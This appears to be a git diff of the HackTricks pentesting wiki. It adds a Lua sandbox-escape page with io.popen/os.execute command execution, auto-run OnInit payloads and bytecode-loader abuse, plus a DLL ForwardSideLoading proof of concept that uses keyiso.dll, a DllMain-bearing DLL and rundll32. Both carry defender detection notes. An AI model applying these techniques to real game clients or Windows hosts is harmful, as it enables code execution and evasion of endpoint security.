Merge branch 'master' of github.com:HackTricks-wiki/hacktricks

src/SUMMARY.md

@@ -80,6 +80,8 @@
   - [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
   - [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
 - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
+- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
+- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
 
 # 🧙‍♂️ Generic Hacking
 
@@ -926,13 +928,4 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
-
-
-
-  - [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
-  - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
-  - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
-  - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
-  - [Readme](reversing/cryptographic-algorithms/README.md)
-  - [Readme](reversing/reversing-tools/README.md)
-  - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
+  

src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md

@@ -0,0 +1,125 @@
+# Bypass Lua sandboxes (embedded VMs, game clients)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+This page collects practical techniques to enumerate and break out of Lua "sandboxes" embedded in applications (notably game clients, plugins, or in-app scripting engines). Many engines expose a restricted Lua environment, but leave powerful globals reachable that enable arbitrary command execution or even native memory corruption when bytecode loaders are exposed.
+
+Key ideas:
+- Treat the VM as an unknown environment: enumerate _G and discover what dangerous primitives are reachable.
+- When stdout/print is blocked, abuse any in-VM UI/IPC channel as an output sink to observe results.
+- If io/os is exposed, you often have direct command execution (io.popen, os.execute).
+- If load/loadstring/loadfile are exposed, executing crafted Lua bytecode can subvert memory safety in some versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), enabling advanced exploitation.
+
+## Enumerate the sandboxed environment
+
+- Dump the global environment to inventory reachable tables/functions:
+
+```lua
+-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
+local function dump_globals(out)
+  out("=== DUMPING _G ===")
+  for k, v in pairs(_G) do
+    out(tostring(k) .. " = " .. tostring(v))
+  end
+end
+```
+
+- If no print() is available, repurpose in-VM channels. Example from an MMO housing script VM where chat output only works after a sound call; the following builds a reliable output function:
+
+```lua
+-- Build an output channel using in-game primitives
+local function ButlerOut(label)
+  -- Some engines require enabling an audio channel before speaking
+  H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
+  return function(msg)
+    H.Say(label or 1, msg)
+  end
+end
+
+function OnMenu(menuNum)
+  if menuNum ~= 3 then return end
+  local out = ButlerOut(1)
+  dump_globals(out)
+end
+```
+
+Generalize this pattern for your target: any textbox, toast, logger, or UI callback that accepts strings can act as stdout for reconnaissance.
+
+## Direct command execution if io/os is exposed
+
+If the sandbox still exposes the standard libraries io or os, you likely have immediate command execution:
+
+```lua
+-- Windows example
+io.popen("calc.exe")
+
+-- Cross-platform variants depending on exposure
+os.execute("/usr/bin/id")
+io.popen("/bin/sh -c 'id'")
+```
+
+Notes:
+- Execution happens inside the client process; many anti-cheat/antidebug layers that block external debuggers won’t prevent in-VM process creation.
+- Also check: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
+
+## Zero-click triggers via auto-run callbacks
+
+If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
+
+```lua
+function OnInit()
+  io.popen("calc.exe") -- or any command
+end
+```
+
+Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically.
+
+## Dangerous primitives to hunt during recon
+
+During _G enumeration, specifically look for:
+- io, os: io.popen, os.execute, file I/O, env access.
+- load, loadstring, loadfile, dofile: execute source or bytecode; supports loading untrusted bytecode.
+- package, package.loadlib, require: dynamic library loading and module surface.
+- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
+- LuaJIT-only: ffi.cdef, ffi.load to call native code directly.
+
+Minimal usage examples (if reachable):
+
+```lua
+-- Execute source/bytecode
+local f = load("return 1+1")
+print(f()) -- 2
+
+-- loadstring is alias of load for strings in 5.1
+local bc = string.dump(function() return 0x1337 end)
+local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
+print(g())
+
+-- Load native library symbol (if allowed)
+local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
+local foo = mylib()
+```
+
+## Optional escalation: abusing Lua bytecode loaders
+
+When load/loadstring/loadfile are reachable but io/os are restricted, execution of crafted Lua bytecode can lead to memory disclosure and corruption primitives. Key facts:
+- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
+- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
+- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
+
+This path is engine/version-specific and requires RE. See references for deep dives, exploitation primitives, and example gadgetry in games.
+
+## Detection and hardening notes (for defenders)
+
+- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
+- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process.
+- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events.
+
+## References
+
+- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
+- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
+- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
+- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md

@@ -4,6 +4,7 @@
 
 These are some tricks to bypass python sandbox protections and execute arbitrary commands.
 
+
 ## Command Execution Libraries
 
 The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:

src/windows-hardening/av-bypass.md

@@ -121,6 +121,69 @@ Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the
 > [!TIP]
 > I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth.
 
+### Abusing Forwarded Exports (ForwardSideLoading)
+
+Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:
+
+- Load `TargetDll` if not already loaded
+- Resolve `TargetFunc` from it
+
+Key behaviors to understand:
+- If `TargetDll` is a KnownDLL, it is supplied from the protected KnownDLLs namespace (e.g., ntdll, kernelbase, ole32).
+- If `TargetDll` is not a KnownDLL, the normal DLL search order is used, which includes the directory of the module that is doing the forward resolution.
+
+This enables an indirect sideloading primitive: find a signed DLL that exports a function forwarded to a non-KnownDLL module name, then co-locate that signed DLL with an attacker-controlled DLL named exactly as the forwarded target module. When the forwarded export is invoked, the loader resolves the forward and loads your DLL from the same directory, executing your DllMain.
+
+Example observed on Windows 11:
+
+```
+keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
+```
+
+`NCRYPTPROV.dll` is not a KnownDLL, so it is resolved via normal search order.
+
+PoC (copy-paste):
+1) Copy the signed system DLL to a writable folder
+```
+copy C:\Windows\System32\keyiso.dll C:\test\
+```
+2) Drop a malicious `NCRYPTPROV.dll` in the same folder. A minimal DllMain is enough to get code execution; you do not need to implement the forwarded function to trigger DllMain.
+```c
+// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
+#include <windows.h>
+BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
+    if (reason == DLL_PROCESS_ATTACH){
+        HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+        if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}        
+    }
+    return TRUE;
+}
+```
+3) Trigger the forward with a signed LOLBin:
+```
+rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
+```
+
+Observed behavior:
+- rundll32 (signed) loads the side-by-side `keyiso.dll` (signed)
+- While resolving `KeyIsoSetAuditingInterface`, the loader follows the forward to `NCRYPTPROV.SetAuditingInterface`
+- The loader then loads `NCRYPTPROV.dll` from `C:\test` and executes its `DllMain`
+- If `SetAuditingInterface` is not implemented, you'll get a "missing API" error only after `DllMain` has already run
+
+Hunting tips:
+- Focus on forwarded exports where the target module is not a KnownDLL. KnownDLLs are listed under `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
+- You can enumerate forwarded exports with tooling such as:
+```
+dumpbin /exports C:\Windows\System32\keyiso.dll
+# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
+```
+- See the Windows 11 forwarder inventory to search for candidates: https://hexacorn.com/d/apis_fwd.txt
+
+Detection/defense ideas:
+- Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
+- Alert on process/module chains like: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths
+- Enforce code integrity policies (WDAC/AppLocker) and deny write+execute in application directories
+
 ## [**Freeze**](https://github.com/optiv/Freeze)
 
 `Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
@@ -511,7 +574,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
 
 ### Compiling our own reverse shell
 
-https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
+https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
 
 #### First C# Revershell
 
@@ -834,6 +897,9 @@ References for PPL and tooling
 - [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
 - [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
 - [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
+- [Hexacorn – DLL ForwardSideLoading: Abusing Forwarded Exports](https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/)
+- [Windows 11 Forwarded Exports Inventory (apis_fwd.txt)](https://hexacorn.com/d/apis_fwd.txt)
+- [Microsoft Docs – Known DLLs](https://learn.microsoft.com/windows/win32/dlls/known-dlls)
 - [Microsoft – Protected Processes](https://learn.microsoft.com/windows/win32/procthread/protected-processes)
 - [Microsoft – EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88)
 - [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)